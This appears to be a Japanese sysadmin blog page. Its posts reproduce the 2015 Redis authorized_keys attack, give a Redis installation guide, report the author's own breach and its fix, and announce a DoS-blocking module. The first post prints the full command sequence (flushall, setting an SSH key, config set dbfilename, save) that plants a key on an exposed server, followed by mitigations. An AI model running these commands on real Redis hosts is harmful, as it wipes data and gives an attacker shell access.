crack@redis.io #2

先日、redis ハックされた件を検証してみました。

どうやら “config set dbfilename” 機能を悪用することで、外部から任意の文字列を redis 起動ユーザの権限でファイル作成できてしまう(sshの公開鍵を配置できる)脆弱性のようです。

実際に試行してみたら、以下手順で ssh の公開鍵が配置できました。

・別サーバで秘密鍵と公開鍵を作成しておく
・乗っ取りたい redisサーバ に外部から接続する
・既に格納されているキーとバリューをいったん全消去(クリア)する
・適当なキーで ssh 公開鍵をセットする
・データ格納ファイルの書き出し場所を、SSH公開鍵を配置したい場所に変更する
・データ書き出しを命令する(バリューが出力され、ssh公開鍵となる)
・redis を shutdown する(気づいた運用者の redis 再起動で dbfilename は元に戻る)

コマンドで言えば、こんな感じ。

$ ssh-keygen -t rsa -C "crack@redis.io"
$ redis-cli -h [ホスト名] flushall
$ cat [公開鍵.txt] | redis-cli -h [ホスト名] -x set [キー名]
$ redis-cli -h [ホスト名]
6379> config set dbfilename "~/.ssh/authorized_keys"
6379> save
6379> shutdown
6379> exit

すると、redis 起動ユーザのホームディレクトリの .ssh 配下に、公開鍵が配置されます。

$ ls -l
-rw-r--r--    1 root root   433 11月 22 23:39 2015 authorized_keys

$ cat ~/.ssh/authorized_keys
REDIS0006�crackitA�
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ crack@redis.io
���rD	�

ああ、恐ろしい。

ただ、、この脅威は、redisがインターネットに公開されていなければ操作できないので問題になりません。
(redis.conf の bind 設定でローカルIPに制限している もしくは、iptables でポート解放していない)

もし私のように設定を忘れて公開となっており、crackit のキーがセットされたらどうするか?

まずは redisサーバプロセスを起動させているユーザを確認します。
redis ユーザならば、redis ユーザが外部からsshログインできなければ問題ありません。

$ sudo cat /etc/passwd | grep redis
redis:x:501:501::/home/redis:/sbin/nologin

外部からログイン可能にしていた場合はどうするか?
redis 起動ユーザのホームディレクトリ配下にある .ssh/authorized_keys のキーを一刻も早く削除してください。

もし root で起動していたら、パス名さえあってれば配置できてしまうため sshアカウントの公開鍵を総点検した方が良いです。

間違っていたら、コメントくださいませ。

Redisのセットアップ

CentOS/Fedora/Debian/Ubuntu の各Linuxに、redisを導入する方法をまとめました。
Github – Redisのセットアップ

以降、redisのセットアップについて記載します

 

redis のインストール

redis のホームページからソースをダウンロードします
落とすバージョンにあわせて適宜ファイル名を変更してください

$ wget http://download.redis.io/releases/redis-2.8.2.tar.gz
$ tar xzf redis-2.8.*.tar.gz
$ cd redis-2.8.*
$ make
$ sudo make install

デフォルトは /usr/local/bin/ に導入されます
インストール先を変更する場合は、redis-2.8.*/src 配下の Makefile を手動で変更します

PREFIX?=インストール先ディレクトリ名

 

redis ユーザとグループの作成

redis インスタンスを起動するユーザとグループを作成します
ユーザはログインの必要性はないので、nologin を指定します

$ sudo groupadd redis
$ sudo useradd -s /sbin/nologin -M -g redis redis

redis のログ出力ディレクトリ作成

ログ出力先を作成して redis ユーザに書き込み権限を付与します

$ sudo mkdir /var/log/redis
$ sudo chmod 755 /var/log/redis
$ sudo chown redis:redis /var/log/redis

 

redis 設定ファイルの作成

新たに設定ファイル格納ディレクトリを作成し、既に用意されている設定ファイルをコピーして利用します。のちに冗長化(複数インスタンス)するので、混乱を避けるため起動するポート名で設定ファイルを作成します

$ sudo mkdir /etc/redis
$ sudo chown redis.redis /etc/redis

$ sudo cp -p ./redis-2.8.*/redis.conf /etc/redis/6379.conf
$ sudo vi /etc/redis/6379.conf

 

デーモン起動の指定と、ログの出力場所を設定します
bind はIPアドレスをセットすることで、接続するサーバを制限することが可能ですが、最初はセキュリティを確保するためにも、127.0.0.1(ローカルのみ)とし、接続制限をかけておきます
また接続時のパスワードもあわせて指定しておきましょう
※ 接続サーバを制限は、冗長化構築時に iptables または bind で再度見直しをかけます

daemonize yes
bind 127.0.0.1
requirepass hoge   ★ パスワードです 適当に変更してください
pidfile /var/run/redis_6379.pid
logfile “/var/log/redis/6379.log”

 

redis の起動確認

redis ユーザで redis サーバを起動させます
インストールしたパスにある redis-server を、設定ファイルを引数に起動します
なお正常に起動されているか、ログファイルや ps コマンドで確認して下さい

$ sudo -u redis sh -c “/usr/local/bin/redis-server /etc/redis/6379.conf”
$ ps -e | grep redis
3706 ? 00:00:00 redis-server  ★ 出力されることを確認します

ログファイルに起動処理結果が出力されています

$ tail -30 /var/log/redis/6379.log
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 2.8.2 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in stand alone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 3048
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

[3048] 15 Nov 17:16:30.446 # Server started, Redis version 2.8.2
[3048] 15 Nov 17:16:30.446 * DB loaded from disk: 0.000 seconds
[3048] 15 Nov 17:16:30.446 * The server is now ready to accept connections on port 6379
$

 

redis にローカルから接続します

パスワード入力後、PING コマンドで PONG が返却されることを確認します

$ /usr/local/bin/redis-cli -p 6379

127.0.0.1:6379> auth hoge

OK
127.0.0.1:6379> ping
PONG

 

redis サーバを終了させます

PING コマンドで返却されないこと、ps コマンドで出力されないことを確認します

127.0.0.1:6379> shutdown
not connected> ping
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
$ ps -e | grep redis

 

自動起動スクリプト

用意された自動起動スクリプトをコピーして、サーバの再起動でも自動的に起動するようにします
※インストールだけでは自動起動しません

$ sudo cp -p ./redis-2.8.*/utils/redis_init_script /etc/init.d/redis
$ sudo vi /etc/init.d/redis

設定方法はOS環境にあわせ適宜変更してください

[CentOS5/6,Fedora]

# chkconfig: 345 70 15

[Debian/Ubuntu]

### BEGIN INIT INFO
# Provides: redis6379
# Required-Start: $syslog $remote_fs bootlogs
# Required-Stop: $syslog $remote_fs
# Should-Start: $local_fs
# Should-Stop: $local_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO

スクリプトで起動できることを確認します

$ sudo /etc/init.d/redis start
$ ps -e | grep redis
$ /usr/local/bin/redis-cli -p 6379
127.0.0.1:6379> auth hoge
OK
127.0.0.1:6379> ping
PONG
127.0.0.1:6379> exit

スクリプトで終了できることを確認します

$ sudo /etc/init.d/redis stop
Stopping …
Redis stopped
$ ps -e | grep redis
$ /usr/local/bin/redis-cli -p 6379
Could not connect to Redis at 127.0.0.1:6379: Connection refused

 

redis の自動起動登録

各OSの自動起動プログラムを利用してください

[CentOS5/6,Fedora]

$ sudo chkconfig redis on
$ chkconfig –list | grep redis
redis 0:off 1:off 2:on 3:on 4:on 5:on 6:off

[Debian/Ubuntu]

$ sudo update-rc.d redis defaults 20
$ sudo sysv-rc-conf –list redis
redis 0:off 1:off 2:on 3:on 4:on 5:on 6:off

 

メモリオーバーコミットの設定

Linux では実メモリーとスワップ領域が足りなくなると、メモリ確保プロセスを強制終了させる仕様があります(OOMKiller)

0:空き容量がなければ実行中のプロセスを強制終了(デフォルト)
1:ギリギリまで頑張り、メモリ確保できなければ実行中のプロセスを強制終了
2:空き容量がない場合はエラーを発生させる

redis はデータ永続化(AOF ログ保存)の際、格納データの2倍のメモリを要求します
もしメモリの確保(allocate)に失敗した場合、エラーが発生し、OOMKiller のデフォルト設定ではプロセスを強制終了します
よってメモリ確保エラーに起因した apache のプロセス終了を防止するための設定をしておきます

$ sudo vi /etc/sysctl.conf
$ vm.overcommit_memory = 2

 

Appendix
パッケージで導入する場合

redis をソースからではなく、パッケージでインストールする方法を記載します
冗長化構成(redis-sentinel)を導入する場合は、2.4.16 または 2.6.0-rc6 以降のバージョンが必要です
なおパッケージ版は導入するディレクトリがバラバラです

配置先例)
redis本体    :/usr/bin/redis-server
redis-sentinel :/usr/bin/redis-sentinel
redis設定ファイル:/etc/redis/redis.conf
redisクライアント:/usr/bin/redis-cli

設定ファイルなどのパスが変わるので、各ファイルの配置先を確認しておく必要があります

$ sudo updatedb
$ locate redis-server
$ locate redis-sentinel
$ locate redis.conf
$ locate redis-cli

[CentOS 5/6]
CentOS 5/6 の標準リポジトリに redis は存在しません(2015/11/15時点)
remi リポジトリが必要です。導入方法はこちら

remi 版の redis は gperftools の tcmalloc を利用しているため gperftools-libs もインストールします

$ yum info –enablerepo=remi redis
Version : 2.8.9
$ sudo yum install gperftools –enablerepo=epel
$ sudo yum install –enablerepo=remi redis

[CentOS7]
rpm パッケージを利用します
jemalloc を利用しているため同時にインストールします

$ cd /tmp
$ wget http://dl.fedoraproject.org/pub/epel/7/x86_64/j/jemalloc-3.6.0-1.el7.x86_64.rpm
$ sudo rpm -ivh jemalloc-3.6.0-1.el7.x86_64.rpm
$ wget http://dl.fedoraproject.org/pub/epel/7/x86_64/r/redis-2.8.19-1.el7.x86_64.rpm
$ sudo rpm -ivh redis-2.8.19-1.el7.x86_64.rpm

[Debian 5/6]
Debian の標準リポジトリに redis は存在しません(2015/1/14時点)
dotdeb リポジトリが必要です。導入方法はこちら

redis のバージョンを確認して、バージョン指定でインストールします

$ sudo apt-get update
$ apt-cache showpkg redis-server
Provides:
2:2.8.19-1~dotdeb.1 –   ★ 2.8以上であることを確認してください
2:1.2.6-1 –

$ sudo apt-get install redis-server=2:2.8.19-1~dotdeb.1
続行しますか [Y/n]? y
Starting redis-server: redis-server.

自動起動されるので状態を確認します

$ ps -ef | grep redis
redis 10995 1 0 21:57 ? 00:00:00 /usr/bin/redis-server 127.0.0.1:6379

redis に接続してバージョンを確認します

$ redis-cli info | grep redis_version
redis_version:2.8.19

 

以降は、redis 設定ファイルの作成 の項に沿って設定ファイルを編集し、再起動します

crack@redis.io

今日、redisに格納されているはずのデータが全て消え、crackit というキーが登録されていることを確認した。

該当キーのバリューを見ると、sshのキーと最後に crack@redis.io と、、、なんだこりゃ?

非常にまずいので調査してみると、redis 作者がセキュリティ問題としてあげていた。
http://antirez.com/news/96

恥ずかしいことに、他サーバからの接続試験で、結構前にIPアドレス制限を解放した時がある。
その後閉じてなかったようだ。

対処方法は2つある

① redis.conf の bind でIPを制限する(閉じる)
ローカルIPアドレスのみ接続できるように指定し、redisを再起動する
$ sudo vi /etc/redis/redis.conf
bind  127.0.0.1
$ sudo /etc/init.d/redis restart

② iptables でredisのポートを閉じる
redisのポートにアクセスできるIPアドレスのみ指定し、iptabelsを再起動する
$ sudo vi /etc/sysconfig/iptables
[IP帯域で許可する場合]
-A INPUT -p tcp -m tcp -s [接続させるIP帯域] –dport 6379 -j ACCEPT
[ポート閉塞する場合]
6397の行をコメントアウト(もしくは6379関連は記載しない)
$ sudo /etc/init.d/iptables restart

 

複数のサーバーから redis 接続を許可する場合 bind 設定を削除するか 0.0.0.0 と指定するが、この状態で iptables で制限をかけないとネット上で解放していることになる。(=redis を操作できてしまう)

今回は、iptables でIP帯域で制限しておきました。

しかし、恥ずかしい…
けど、気づかせてくれてありがとう。

2015/11/24追記
施行時の影響確認をこちらで検証しました

doshelperを公開しました – doshelper was released

DoS攻撃を回避するモジュールを公開しました。

ウェブサーバへのアクセス状態をIPアドレスをキーに外部配置したデータの永続性のあるKVS(Redis)に格納し、一定期間に閾値を超えるアクセス件数があった場合に遮断します。
=プログラムに処理を渡さず直接ブラウザにエラーを返却します

中規模以上のサイト(複数のウェブサーバが配置される分散環境)では、(サービス提供に必要な)最適なサーバ配置が求められるので、ウェブサーバの増減がちょいちょい発生しますが、そのようなケースでも閾値の見直しをしなくても良いような仕組みにしています。

なお閾値はURL単位でも設定できます。
重い機能やログイン機能などにそれぞれお閾値をセットすることで、アクセス集中によるウェブサーバの高負荷を回避したり、不正なログイン試行を遮断することができます。

どうぞ、お試しください。

https://github.com/kurosawatsuyoshi/doshelper
https://bitbucket.org/kurosawatsuyoshi/doshelper